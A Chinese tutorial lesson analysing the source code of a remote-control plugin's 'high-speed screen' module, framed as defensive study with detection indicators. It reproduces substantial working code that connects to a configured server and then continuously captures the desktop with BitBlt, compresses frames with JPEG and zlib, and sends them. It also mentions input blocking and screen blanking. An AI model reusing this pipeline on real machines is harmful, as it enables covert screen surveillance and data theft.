乐于分享
好东西不私藏

第 31 课:主插件:高速屏幕

第 31 课:主插件:高速屏幕

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课只从安全工程角度阅读 主插件\高速屏幕。屏幕采集能力可以用于合法远程协助,但也可能暴露客户资料、聊天内容、浏览器页面、会议画面、凭据输入过程和业务系统操作。因此本课不讲如何使用远程屏幕能力,不讲控制步骤,不讲规避检测,只讲源码结构、数据链路、风险点和企业检测方法。

屏幕类专栏导读:三种当前桌面屏幕模式

第 24、25、26 课应放在一起读。它们都围绕“当前桌面/显示器画面采集”展开,但解决问题的方式不同:

专栏
模式
数据形态
更适合的合法场景
防御侧关注点
第 31 课:高速屏幕
当前桌面高频采集
首帧 + 后续 JPEG/zlib 帧
授权远程协助、运维排障、需要较快看到桌面变化的场景
高频 BitBlt、JPEG/zlib、长连接、剪贴板和控制命令
第 32 课:差异屏幕
当前桌面差异传输
首帧全量 + 后续变化块
带宽有限、画面变化较少、需要降低传输量的合法远程查看场景
双缓冲、差异比较、小包长连接、周期性图形采集
第 33 课:娱乐屏幕
当前桌面视频流
BGRA/ARGB -> I420 -> H.264 NAL
长时间、连续、类似视频流的屏幕共享或演示场景
libyuv、x264、三线程队列、视频编码和持续上行

三者的共同点是都从当前桌面或显示器画面取数据,并把画面编码后发送;不同点是编码策略和传输形态。高速屏幕偏“快速发图”,差异屏幕偏“只发变化”,娱乐屏幕偏“视频流”。第 29 课的后台桌面与后台窗口不属于这三种当前桌面模式,它多了 Windows 桌面对象、后台 GUI 环境和窗口打印式采集。

1. 本课学习目标

读完本课,你应该能理解:

  1. 高速屏幕、差异屏幕、娱乐屏幕三种当前桌面屏幕模式的差异和适用场景。
  2. 为什么它叫“高速屏幕”:连续循环、变化扫描、JPEG 内存编码、zlib 封包和 FPS 节流如何共同服务低延迟。
  3. CScreenQuickManager 和 CScreenSpy 的分工。
  4. 首帧、后续帧、位图信息、屏幕尺寸各自解决什么问题。
  5. 高速屏幕使用的是哪个 JPEG 库,以及为什么要引入 libjpeg-turbo。
  6. BitBltDIBSection、JPEG、zlib 和 TOKEN_* 如何构成屏幕数据链。
  7. 命令面里哪些能力属于高风险,例如屏蔽输入、黑屏、剪贴板和远程控制事件。
  8. 企业如何从图形 API、压缩库、持续上行流量和隐私权限中建立检测。

2. 源码目录和文件

路径
作用
主插件\高速屏幕\高速屏幕.sln
高速屏幕插件解决方案
主插件\高速屏幕\高速屏幕\高速屏幕.cpp
插件入口、socket 初始化、管理器创建
主插件\高速屏幕\高速屏幕\ScreenQuickManager.h
管理器类、命令处理、发送接口
主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp
帧发送、命令分发、工作线程、控制线程
主插件\高速屏幕\高速屏幕\ScreenSpy.h
屏幕采集类定义
主插件\高速屏幕\高速屏幕\ScreenSpy.cpp
GDI 采集、JPEG 编码、变化区域扫描
主插件\高速屏幕\高速屏幕\CursorInfo.h
光标信息辅助
主插件\高速屏幕\高速屏幕\turbojpeg.h
jpeglib.h
JPEG 编码相关依赖

依赖说明: 本课涉及 Windows GDI、JPEG 编码库和 zlib 压缩。GDI 负责从桌面设备上下文取图,jpeglib.h/turbojpeg.h 负责把位图压缩成 JPEG,zlib 负责进一步压缩发送数据。单独使用这些库并不等于风险,关键是它们和 BitBlt、持续工作线程、TOKEN_* 发送、长连接组合在一起。后续代码注释会把采集源、压缩出口和网络出口写在对应片段里。

2.1 JPEG 使用的是哪个库

高速屏幕这里使用的是 libjpeg-turbo 提供的 libjpeg 兼容接口。判断依据有两个:

  1. ScreenSpy.h 里包含的是 jpeglib.h,源码调用的是 jpeg_compress_structjpeg_mem_destjpeg_set_qualityjpeg_write_scanlines 这一组 libjpeg API。
  2. 同一个头文件里通过 #pragma comment(lib, "...") 链接的是 turbojpeg_32_* / turbojpeg_64_* 静态库或导入库。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.h:1-19// 防御分析注释:// 1. 代码包含 jpeglib.h,说明业务代码走的是 libjpeg API 风格。// 2. 但链接库名是 turbojpeg_*,说明实际依赖来自 libjpeg-turbo。// 3. 这里没有直接调用 tjCompress2 这类 TurboJPEG API,而是使用兼容的 jpeg_* 函数。// 4. 检测时不要只搜 tjCompress2,也要关注 jpeg_mem_dest、jpeg_write_scanlines 等函数。#include"jpeglib.h"#ifdef _WIN64#ifdef _DEBUG#pragma comment(lib, "turbojpeg_64_d.lib")#else#pragma comment(lib, "turbojpeg_64_r.lib")#endif#else#ifdef _DEBUG#pragma comment(lib, "turbojpeg_32_d.lib")#else#pragma comment(lib, "turbojpeg_32_r.lib")#endif#endif

为什么要引入这个库?原因主要有三点:

原因
对源码的意义
防御侧观察
屏幕原始位图太大
32 位桌面像素直接发送会占用大量带宽
BitBlt
 后紧跟 JPEG 编码
需要内存编码
jpeg_mem_dest
 可以把 JPEG 输出到内存,不必先保存文件
没有图片落盘也可能发生屏幕泄露
支持 BGRA/BGR 扩展
JCS_EXT_BGRA
 能接近 Windows DIBSection 的像素布局
图形采集和 JPEG 编码可以直接衔接

libjpeg-turbo 本身是常见合法图像库。风险来自组合关系:BitBlt 持续采集桌面,DIBSection 暴露像素内存,libjpeg-turbo 把像素压成 JPEG,zlib 再压缩封包,最后通过长连接持续上行。企业检测要看这条链路,而不是把某个 JPEG 库单独视为恶意。

这个插件的主线可以概括成:

插件入口 -> 网络连接 -> CScreenQuickManager -> CScreenSpy -> GDI 采集 -> JPEG/zlib 压缩 -> TOKEN_* 发送

3. 高速屏幕和普通截图的区别:为什么叫“高速屏幕”

普通截图通常是一次性动作:采集一张图,保存或展示。高速屏幕插件更接近“远程屏幕流”:

对比项
普通截图
高速屏幕插件
触发方式
用户主动或定时
会话建立后持续循环
数据形态
单张图片
首帧 + 后续帧
发送方式
本地保存或上传
持续封包发送
风险面
单次隐私泄露
持续隐私泄露和远程操控
检测重点
截图 API
图形 API + 编码压缩 + 长连接

这里的“高速”不是说它一定能稳定跑到很高 FPS,也不是说画质一定最好,而是说它的源码设计目标偏向“尽快把当前桌面变化送出去”。新手可以从五个代码特征理解这个命名:

代码特征
为什么体现“高速”
防御侧怎么看
WorkThread
 进入 while (m_bIsWorking) 循环
会话打开后反复调用 sendNextScreen(),不是单次截图
看持续线程、持续图形 API、持续上行
ScanChangedRect(TRUE)
 扫描变化区域
后续帧不总是整屏发送,而是把变化矩形打包
看周期性小包和变化区域元数据
BMP_JPG(..., &bitstream)
 内存 JPEG 编码
直接在内存里把屏幕像素压成图像数据,避免先落盘
看 JPEG 编码函数和高熵二进制流
compress(...)
 再做 zlib 压缩封包
发送前继续压缩,降低每帧传输体积
看 zlib 与图形采集、网络发送的组合
SetFps()
 / m_dwSleep 控制节奏
用休眠控制帧间隔,避免完全无节制循环
看是否存在可远程调整的采集频率

所以,本课说的“高速屏幕”可以理解为:面向低延迟远程查看的快速图像帧链路。它和第 32 课“差异屏幕”的区别是,差异屏幕更强调“尽量少传变化字节”;它和第 33 课“娱乐屏幕”的区别是,娱乐屏幕把屏幕当视频流,用 H.264 做帧间压缩。高速屏幕则更像“快速抓图、快速压缩、快速发包”的折中方案。

因此,防御侧不能只搜“截图函数”。它还要看帧率、变化扫描、压缩、网络、控制命令和剪贴板行为。

4. 插件入口:连接成功后创建屏幕管理器

入口结构和前面几个主插件类似:按配置创建 TCP/UDP socket,连接成功后创建管理器,并进入事件循环。

// 源码位置:主插件\高速屏幕\高速屏幕\高速屏幕.cpp:8-43// 防御分析注释:连接成功后创建 CScreenQuickManager。// 屏幕采集和网络连接绑定,是企业检测中的重要关联点。structplugInfo{char mark[30];    TCHAR szAddress[255];    DWORD szPort;    BOOL IsTcp;    BOOL RunDllEntryProc;} MyInfo ={"plugmark",    _T("127.0.0.1"),6666,1,0};DWORD WINAPI MainThread(LPVOID dllMainThread){    ISocketBase* socketClient;if (MyInfo.IsTcp == 1)        socketClient = new CTcpSocket();else        socketClient = new CUdpSocket();if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))    {CScreenQuickManager manager(socketClient);        socketClient->run_event_loop();    }    SAFE_DELETE(socketClient);if (MyInfo.RunDllEntryProc)        ExitProcess(0);return0;}

这里最重要的不是 127.0.0.1 或 6666 这些示例配置,而是“连接成功后进入屏幕采集管理器”这个行为模型。

5. CScreenQuickManager:会话层状态机

CScreenQuickManager 负责三件事:

  1. 初始化屏幕采集对象。
  2. 接收命令并调整采集参数。
  3. 循环发送位图信息、屏幕尺寸、首帧和后续帧。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:12-32// 防御分析注释:// 1. CScreenQuickManager 是高速屏幕会话层,连接建立后就会创建。// 2. m_fps 默认是 1,但后面可通过 COMMAND_SCREEN_FPS_QUICK 调整。// 3. CScreenSpy 真正负责屏幕采集,管理器负责把采集结果封包发送。// 4. WorkThread 是“高速屏幕”名字的核心证据之一:它会持续发送后续帧。// 5. ControlThread 不采集画面,但维护黑屏、输入屏蔽、分辨率变化等高风险状态。CScreenQuickManager::CScreenQuickManager(ISocketBase* pClient) : CManager(pClient){// m_biBitCount 决定位图位深。这里默认 32 位,和后续 JPEG 的 BGRA 输入对应。    m_biBitCount = 32;// m_fps 影响 CScreenSpy::SetFps() 里的帧间休眠。// 从防御角度看,可被远端命令改变的采集频率是屏幕流的重要线索。    m_fps = 1;// 创建屏幕采集对象。后续 BitBlt、DIBSection、JPEG 编码都在这个对象内完成。    m_pScreenSpy = new CScreenSpy(32);// m_bIsWorking 控制 WorkThread 的 while 循环。// 它为 true 时,sendNextScreen() 会不断被调用。    m_bIsWorking = true;// 这几个状态本身不是截图所需,而是远程控制类能力的风险信号。    m_bIsBlankScreen = false;    m_bIsBlockInput = false;    m_bIsCaptureLayer = false;// 获取桌面 DC 和虚拟屏幕尺寸,用于判断后续是否发生分辨率变化。    m_hDeskTopDC = GetDC(GetDesktopWindow());    m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);    m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);// 默认算法是 COMMAND_SCREEN_ALGORITHM_HOME,后续会走 JPEG + 变化矩形链路。    m_bAlgorithm = COMMAND_SCREEN_ALGORITHM_HOME;// 工作线程负责“发屏幕帧”,控制线程负责“维护控制状态”。// 两条线程同时出现,是持续远程屏幕会话而非一次性截图的证据。    m_hWorkThread = (HANDLE)_beginthreadex(NULL0, WorkThread, this0NULL);    m_hBlankThread = (HANDLE)_beginthreadex(NULL0, ControlThread, this0NULL);}

这段代码的安全信号应直接跟源码读:new CScreenSpy(32) 初始化屏幕采集对象,GetDC(GetDesktopWindow()) 获取桌面设备上下文,WorkThread 长期发送屏幕帧,ControlThread 维护黑屏、输入屏蔽和分辨率变化状态,m_fps 则会影响网络传输频率。

6. 帧发送时序:先描述数据链,再看函数

高速屏幕不是直接“抓一张图发走”。它先发送位图信息,再发送尺寸,然后发首帧,最后循环发后续帧。

源码对应的工作线程:

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:221-241// 防御分析注释:// 1. WorkThread 是高速屏幕的帧发送主循环。// 2. 它先发送 BITMAPINFO 和尺寸,让主控端知道如何解释后续像素数据。// 3. sendFirstScreen() 建立首帧基线,sendNextScreen() 进入持续更新。// 4. while 循环没有业务动作完成即退出的语义,说明它是会话型屏幕流。unsignedCScreenQuickManager::WorkThread(LPVOID lparam){    CScreenQuickManager* pThis = (CScreenQuickManager*)lparam;// 第一步:发送位图头。没有它,接收端无法知道像素格式、位深和尺寸解释方式。    pThis->sendBITMAPINFO();// 第二步:等待主控端窗口准备好。// 防御侧可以把它理解为“远程查看窗口打开后才开始持续出图”。if (pThis->m_bIsWorking)        pThis->WaitForDialogOpen();// 第三步:发送虚拟屏幕位置和宽高。    pThis->sendsize();// 第四步:发送首帧。首帧通常比后续帧更大,用于初始化远端画面。    pThis->sendFirstScreen();    pThis->m_bIsWorking = true;// 第五步:持续发送后续帧。// “高速”的关键就在这里:采集、压缩、发送会被连续重复执行。while (pThis->m_bIsWorking)    {        pThis->sendNextScreen();    }return0;}

这段逻辑说明:如果企业侧看到未知进程持续调用屏幕采集 API,并且网络侧出现稳定上行数据,不应只看某一帧,而要看连续会话。

7. 位图信息和屏幕尺寸:主控渲染前的基础数据

sendBITMAPINFO 发送位图头,sendsize 发送屏幕坐标和尺寸。主控端没有这些元数据,就无法正确解释后续帧。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:140-163// 防御分析注释:// 1. BITMAPINFO 和屏幕尺寸不是画面内容,而是屏幕流的“解释说明书”。// 2. 元数据小包后跟随大量压缩帧,是远程屏幕类协议的常见形态。voidCScreenQuickManager::sendBITMAPINFO(){// 实际源码函数名是 getBitmapInfoSize() / getBitmapInfo()。// TOKEN_BITMAPINFO_QUICK 告诉接收端:后面的字节是位图头。    DWORD dwBytesLength = 1 + m_pScreenSpy->getBitmapInfoSize();    LPBYTE lpBuffer = new BYTE[dwBytesLength];    lpBuffer[0] = TOKEN_BITMAPINFO_QUICK;memcpy(lpBuffer + 1, m_pScreenSpy->getBitmapInfo(), dwBytesLength - 1);    Send(lpBuffer, dwBytesLength);    SAFE_DELETE_AR(lpBuffer);}voidCScreenQuickManager::sendsize(){    RECT m_rect;// iScreenX / iScreenY 是虚拟屏幕左上角。// 多显示器或缩放场景下,这两个值可能不是 0。    m_rect.left = m_pScreenSpy->iScreenX;    m_rect.top = m_pScreenSpy->iScreenY;// right / bottom 在这里存放宽高,不是传统 RECT 的右下绝对坐标。// 读源码时要结合接收端解析方式理解。    m_rect.right = m_pScreenSpy->m_nFullWidth;    m_rect.bottom = m_pScreenSpy->m_nFullHeight;    LPBYTE lpBuffer = new BYTE[sizeof(RECT) + 1];    lpBuffer[0] = TOKEN_SIZE_QUICK;memcpy(lpBuffer + 1, &m_rect, sizeof(RECT));    Send(lpBuffer, sizeof(RECT) + 1);    SAFE_DELETE_AR(lpBuffer);}

防御侧可以把这类元数据包作为屏幕流识别线索:小包先出现,随后进入压缩图像数据流。

8. 首帧与后续帧:屏幕流的核心出口

首帧通常用于初始化远端画面,后续帧用于更新变化内容。高速屏幕插件在发送前会进行压缩。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:165-219// 防御分析注释:// 1. 首帧和后续帧都会经过“采集 -> zlib 压缩 -> TOKEN 封包 -> Send”。// 2. dwBytes 是压缩前长度,destLen 是 zlib 压缩后长度。// 3. 包内保留 dwBytes,是为了让接收端知道解压后的原始大小。// 4. 这里不落盘,说明屏幕数据从采集到发送都在内存里完成。voidCScreenQuickManager::sendFirstScreen(){    DWORD dwBytes = 0;// getFirstScreen() 返回的是已经被 CScreenSpy 组织好的首帧缓冲区:// [算法标识][JPEG 全屏数据]。具体结构在 ScreenSpy.cpp 里形成。    LPVOID lpFirstScreen = m_pScreenSpy->getFirstScreen(&dwBytes);if (dwBytes == 0 || lpFirstScreen == NULL)return;// zlib 官方建议目标缓冲区略大于源缓冲区。// 防御侧可关注 compress 与屏幕采集 API 的同进程关联。unsignedlong destLen = (unsignedlong)((double)dwBytes * 1.001 + 12);    LPBYTE pDest = new BYTE[destLen];if (compress(pDest, &destLen, (byte*)lpFirstScreen, dwBytes) != Z_OK)    {        SAFE_DELETE_AR(pDest);return;    }    DWORD dwBytesLength = 1 + destLen + 4;    LPBYTE lpBuffer = new BYTE[dwBytesLength];// TOKEN_FIRSTSCREEN_QUICK 标识首帧。// 后面 4 字节保存解压后的原始长度,再后面是 zlib 压缩数据。    lpBuffer[0] = TOKEN_FIRSTSCREEN_QUICK;memcpy(lpBuffer + 1, &dwBytes, 4);memcpy(lpBuffer + 5, pDest, destLen);    Send(lpBuffer, dwBytesLength);    SAFE_DELETE_AR(lpBuffer);    SAFE_DELETE_AR(pDest);}voidCScreenQuickManager::sendNextScreen(){    DWORD dwBytes = 0;// getNextScreen() 不是简单返回整屏截图。// 它会写入算法、光标位置、光标类型,并扫描变化矩形。    LPVOID lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);if (dwBytes == 0 || !lpNetScreen)return;unsignedlong destLen = (unsignedlong)((double)dwBytes * 1.001 + 12);    LPBYTE pDest = new BYTE[destLen];if (compress(pDest, &destLen, (byte*)lpNetScreen, dwBytes) != Z_OK)    {        SAFE_DELETE_AR(pDest);return;    }    DWORD dwBytesLength = 1 + destLen + 4;    LPBYTE lpBuffer = new BYTE[dwBytesLength];// TOKEN_NEXTSCREEN_QUICK 标识后续帧。// 高频出现该 token 时,应结合 BitBlt/JPEG/zlib/外联做关联分析。    lpBuffer[0] = TOKEN_NEXTSCREEN_QUICK;memcpy(lpBuffer + 1, &dwBytes, 4);memcpy(lpBuffer + 5, (constchar*)pDest, destLen);    Send(lpBuffer, dwBytesLength);    SAFE_DELETE_AR(lpBuffer);    SAFE_DELETE_AR(pDest);}

这里要抓住执行顺序:

  1. CScreenSpy 产生屏幕数据。
  2. compress 做 zlib 压缩。
  3. 前面加令牌和原始长度。
  4. 通过 socket 发送。

9. CScreenSpy:真正接触屏幕的类

CScreenSpy 负责屏幕设备上下文、内存位图、位图头、光标信息、JPEG 压缩和变化区域扫描。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.h:21-60// 防御分析注释:// 1. ScreenSpy 是真正接触桌面像素的类。// 2. 它持有桌面 DC、内存 DC、DIBSection 像素指针和变化缓冲区。// 3. 这些成员本身可用于合法图像处理,但和长连接、TOKEN 发送组合后风险显著升高。classCScreenSpy{public:// 首帧:通常用于接收端初始化完整画面。LPVOID getFirstScreen(LPDWORD lpdwBytes);// 后续帧:写入光标信息和变化矩形,降低每次发送的数据量。LPVOID getNextScreen(LPDWORD lpdwBytes);// 位图元数据。接收端需要根据它解释像素格式。LPBITMAPINFO getBitmapInfo();UINT getBitmapInfoSize();// 调整编码算法、分层窗口捕获、帧率和 JPEG 质量。voidsetAlgorithm(int bAlgorithm);voidsetCaptureLayer(bool bIsCaptureLayer);boolSwitchInputDesktop();voidSendUALITY(UINT UALITY);voidSetFps(int nfps);public:// m_hDeskTopDC:桌面图像来源。// m_hLastMemDC / m_hCurrMemDC:上一帧和当前帧,用于比较变化区域。// m_hRectMemDC:单个变化矩形的临时编码区域。    HDC m_hDeskTopDC, m_hLastMemDC, m_hCurrMemDC, m_hRectMemDC;// DIBSection 让 GDI 位图和进程内存缓冲关联起来。// m_lpvLastBits / m_lpvCurrBits 会被 ScanChangedRect() 逐像素比较。    HBITMAP m_hLastBitmap, m_hCurrBitmap;    LPVOID m_lpvLastBits, m_lpvCurrBits;    LPBITMAPINFO m_lpbmi_full, m_lpbmi_rect;// m_changedBuffer 是最终交给管理器压缩发送的缓冲区。    LPBYTE m_changedBuffer;    UINT m_changedOffset;// 这些私有工具函数负责构造位图头、写发送缓冲、复制变化块和 JPEG 编码。LPBITMAPINFO ConstructBitmapInfo(int biBitCount, int biWidth, int biHeight);voidWriteChangedBuffer(LPBYTE lpData, int nCount);voidCopyChangedRect(LPRGNDATA lpRgnData, DWORD dwRgnSize);intBMP_JPG(int width, int height, int cbit, int quality, void* input, void** output);};

从安全角度看,CScreenSpy 不是普通图像处理类。它持有桌面 DC 和内存位图,持续把桌面画面变成可传输数据。

10. 屏幕采集与压缩管线

高速屏幕的数据管线可以画成这样:

对应源码先初始化设备上下文和 DIB:

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:22-75// 防御分析注释:// 1. 构造函数准备桌面 DC、内存 DC、DIBSection 和变化缓冲。// 2. 这类初始化在截图/录屏/远程协助中都可能出现,不能单点定性。// 3. 如果同进程随后持续 JPEG/zlib 压缩并外联发送,风险等级会上升。CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate){// biBitCount 决定位图位深。默认 32 位时,后续 JPEG 输入按 BGRA 处理。    m_biBitCount = biBitCount;if (!SelectInputWinStation())    {// 获取当前桌面窗口和桌面 DC,后续 BitBlt 从这里取像素。        m_hDeskTopWnd = GetDesktopWindow();        m_hDeskTopDC = GetDC(m_hDeskTopWnd);    }// SRCCOPY 表示普通源像素复制;开启 CAPTUREBLT 时可尝试包含分层窗口。    m_dwBitBltRop = SRCCOPY;// m_dwSleep 是帧间最小间隔,用于控制发送节奏。    m_nMaxFrameRate = nMaxFrameRate;    m_dwSleep = 1000 / nMaxFrameRate;// DPI 缩放会影响屏幕尺寸换算。这里把逻辑分辨率转换到桌面实际分辨率。    HDC hdc = GetDC(NULL);int client_width_now = GetDeviceCaps(hdc, HORZRES);int client_width_old = GetDeviceCaps(hdc, DESKTOPHORZRES);    fDpiRatio = (float)client_width_old / (float)client_width_now;    ReleaseDC(NULL, hdc);    m_nFullWidth = (int)((float)(::GetSystemMetrics(SM_CXVIRTUALSCREEN)) * fDpiRatio);    m_nFullHeight = (int)((float)(::GetSystemMetrics(SM_CYVIRTUALSCREEN)) * fDpiRatio);// 两个内存 DC 分别保存上一帧和当前帧。// 这就是后续变化矩形扫描的基础。    m_hLastMemDC = ::CreateCompatibleDC(m_hDeskTopDC);    m_hCurrMemDC = ::CreateCompatibleDC(m_hDeskTopDC);    m_hRectMemDC = ::CreateCompatibleDC(m_hDeskTopDC);    m_lpbmi_full = ConstructBitmapInfo(m_biBitCount, m_nFullWidth, m_nFullHeight);    m_lpbmi_rect = ConstructBitmapInfo(m_biBitCount, m_nFullWidth, m_nFullHeight);// DIBSection 会把 GDI 位图映射到进程可读写内存。// m_lpvLastBits / m_lpvCurrBits 后续会被直接比较。    m_hLastBitmap = ::CreateDIBSection(m_hDeskTopDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvLastBits, NULLNULL);    m_hCurrBitmap = ::CreateDIBSection(m_hDeskTopDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvCurrBits, NULLNULL);    ::SelectObject(m_hLastMemDC, m_hLastBitmap);    ::SelectObject(m_hCurrMemDC, m_hCurrBitmap);// 变化缓冲区最终会被 sendFirstScreen/sendNextScreen 做 zlib 压缩并发送。    m_changedBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];    m_changedOffset = 0;}

再看首帧和后续帧:

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:94-170// 防御分析注释:// 1. BitBlt 是这里的屏幕采集核心 API。// 2. getFirstScreen() 建立首帧,getNextScreen() 建立持续变化帧。// 3. 两者都写入 m_changedBuffer,随后由管理器层 zlib 压缩并发送。LPVOID CScreenSpy::getFirstScreen(){// 每次采集前切到当前输入桌面,避免线程仍停留在旧桌面对象。    SelectInputWinStation();// 重置输出缓冲区;后面所有 WriteChangedBuffer 都从头写。    m_changedOffset = 0;// 第 1 字节写算法标识。接收端需要先知道后面的帧数据如何解释。    BYTE algorithm = (BYTE)m_bAlgorithm;    WriteChangedBuffer((LPBYTE)&algorithm, sizeof(algorithm));// 把整个虚拟屏幕复制到“上一帧”内存位图。// 首帧不做矩形比较,因为接收端还没有基线画面。    ::BitBlt(m_hLastMemDC, 00, m_nFullWidth, m_nFullHeight,        m_hDeskTopDC, iScreenX, iScreenY, m_dwBitBltRop);if (m_bAlgorithm == COMMAND_SCREEN_ALGORITHM_HOME)    {void* bitstream = NULL;int bitstreamlen = BMP_JPG(m_nFullWidth, m_nFullHeight,            m_biBitCount, m_SendUALITY, m_lpvLastBits, &bitstream);// 首帧直接写入整屏 JPEG 数据。if (bitstreamlen > 0)            WriteChangedBuffer((LPBYTE)bitstream, bitstreamlen);if (bitstream)free(bitstream);    }return m_changedBuffer;}LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes){    SelectInputWinStation();    m_changedOffset = 0;    BYTE algorithm = (BYTE)m_bAlgorithm;    WriteChangedBuffer((LPBYTE)&algorithm, sizeof(algorithm));// 后续帧先写光标位置。远端渲染时可以把光标状态同步过去。    POINT CursorPos;    GetCursorPos(&CursorPos);    CursorPos.x = (long)(fDpiRatio * (float)CursorPos.x);    CursorPos.y = (long)(fDpiRatio * (float)CursorPos.y);    CursorPos.x -= iScreenX;    CursorPos.y -= iScreenY;    WriteChangedBuffer((LPBYTE)&CursorPos, sizeof(POINT));// 再写光标类型。光标变化本身也可能暴露用户当前操作状态。    BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();    WriteChangedBuffer(&bCursorIndex, sizeof(BYTE));// 把当前桌面复制到“当前帧”位图。    ::BitBlt(m_hCurrMemDC, 00, m_nFullWidth, m_nFullHeight,        m_hDeskTopDC, iScreenX, iScreenY, m_dwBitBltRop);if (m_bAlgorithm == COMMAND_SCREEN_ALGORITHM_HOME)    {// 扫描当前帧和上一帧的差异矩形,并把变化区域编码进 m_changedBuffer。        ScanChangedRect(TRUE);    }    *lpdwBytes = m_changedOffset;// 通过 m_dwSleep 做帧率节流。// 这说明“高速”不是无限循环,而是在可调帧率内持续采集。while (GetTickCount() - m_dwLastCapture < m_dwSleep)        Sleep(10);    InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());return m_changedBuffer;}

这里的检测线索是:

线索
含义
GetDesktopWindow
 + GetDC
获取桌面画面来源
CreateCompatibleDC
创建内存设备上下文
CreateDIBSection
为位图像素建立内存缓冲
BitBlt
把桌面画面复制到内存
GetCursorPos
同步光标状态
JPEG / zlib
压缩图像后发送

11. 变化矩形和 JPEG 编码:高速链路如何减少传输量

高速屏幕不是每次都把完整桌面当原始位图发送。首帧建立完整画面,后续帧先扫描当前帧和上一帧的差异,再把变化矩形单独编码为 JPEG。这样做有两个直接效果:

  1. 屏幕变化少时,后续帧可以比整屏帧小很多。
  2. 接收端只要把变化矩形贴回原画面,就能看到连续更新。

这也是它叫“高速屏幕”的重要原因:它不是追求最高压缩率,而是用较轻的变化扫描和 JPEG 编码,在低延迟和带宽之间做折中。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:321-407// 防御分析注释:// 1. ScanChangedRect() 比较上一帧和当前帧,找出变化区域。// 2. CopyChangedRect() 把每个变化矩形复制出来并编码成 JPEG。// 3. 缓冲区格式大致是:[算法][光标位置][光标类型][变化块...]// 4. 每个变化块包含 JPEG 长度、JPEG 数据和 RECT 坐标。BOOL CScreenSpy::ScanChangedRect(BOOL bCopyChangedRect){    LPDWORD p1, p2;    RECT changedRect;    HRGN hRgnChanged = NULL, hRgnCombine;// DEF_YSTEP / DEF_XSTEP 让扫描按步长进行,避免逐像素全量处理过重。// 这是一种速度优先的取舍:快,但变化区域可能会被扩张。for (int y = m_nScanLine; y < m_nFullHeight; y += DEF_YSTEP)    {// p1 指向上一帧,p2 指向当前帧。// 两帧都来自 DIBSection,因此可以直接按内存比较。        p1 = (LPDWORD)((LPBYTE)m_lpvLastBits + (m_nFullHeight - 1 - y) * m_nPerLineDataSize);        p2 = (LPDWORD)((LPBYTE)m_lpvCurrBits + (m_nFullHeight - 1 - y) * m_nPerLineDataSize);for (int x = 0; x < m_nFullWidth; )        {if (*p1 == *p2)            {                p1++;                p2++;                x += m_nIncSize;continue;            }// 发现差异后,不只取一个像素,而是扩成一个小矩形。// 这样可以减少碎片块数量,提升发送效率。            changedRect.left = max(x - DEF_XSTEP, 0);            changedRect.top = max(y - DEF_YSTEP, 0);            changedRect.right = min(x + DEF_XSTEP, m_nFullWidth);            changedRect.bottom = min(y + DEF_YSTEP, m_nFullHeight);if (hRgnChanged == NULL)                hRgnChanged = CreateRectRgnIndirect(&changedRect);else            {                hRgnCombine = CreateRectRgnIndirect(&changedRect);                CombineRgn(hRgnChanged, hRgnChanged, hRgnCombine, RGN_OR);                DeleteObject(hRgnCombine);            }            p1 += DEF_XSTEP / m_nIncSize;            p2 += DEF_XSTEP / m_nIncSize;            x += DEF_XSTEP;        }    }// 下一轮从不同扫描行起步,避免长期只看同一批行。    m_nScanLine = (m_nScanLine + 3) % DEF_YSTEP;if (hRgnChanged)    {        DWORD dwRgnSize = GetRegionData(hRgnChanged, 0NULL);        LPRGNDATA lpRgnData = (LPRGNDATA)new BYTE[dwRgnSize];        GetRegionData(hRgnChanged, dwRgnSize, lpRgnData);        DeleteObject(hRgnChanged);// 把变化区域真正复制出来并写入发送缓冲。        CopyChangedRect(lpRgnData, dwRgnSize);delete[] lpRgnData;return TRUE;    }return FALSE;}voidCScreenSpy::CopyChangedRect(LPRGNDATA lpRgnData, DWORD dwRgnSize){    LPRECT lpChangedRect = (LPRECT)lpRgnData->Buffer;for (int i = 0; i < (int)(lpRgnData->rdh.nCount); i++)    {int nChangedRectWidth = lpChangedRect[i].right - lpChangedRect[i].left;int nChangedRectHeight = lpChangedRect[i].bottom - lpChangedRect[i].top;// 为当前变化矩形重设位图头。// 变化块不是整屏尺寸,而是当前 RECT 的宽高。        m_lpbmi_rect->bmiHeader.biWidth = nChangedRectWidth;        m_lpbmi_rect->bmiHeader.biHeight = nChangedRectHeight;        m_lpbmi_rect->bmiHeader.biSizeImage =            (((nChangedRectWidth * m_biBitCount + 31) & ~31) >> 3) * nChangedRectHeight;// 创建矩形 DIBSection,m_lpvRectBits 指向该变化块的像素内存。// 后面的 BMP_JPG() 就是把这块内存编码成 JPEG。        m_lpvRectBits = NULL;        m_hRectBitmap = ::CreateDIBSection(m_hDeskTopDC, m_lpbmi_rect,            DIB_RGB_COLORS, &m_lpvRectBits, NULLNULL);        ::SelectObject(m_hRectMemDC, m_hRectBitmap);// 第一处 BitBlt:把当前变化块写回上一帧基线。// 这样下一次比较时,上一帧已经追上当前帧。        ::BitBlt(m_hLastMemDC, lpChangedRect[i].left, lpChangedRect[i].top,            nChangedRectWidth, nChangedRectHeight,            m_hCurrMemDC, lpChangedRect[i].left, lpChangedRect[i].top, SRCCOPY);// 把变化区域复制到 m_hRectMemDC,用于单独 JPEG 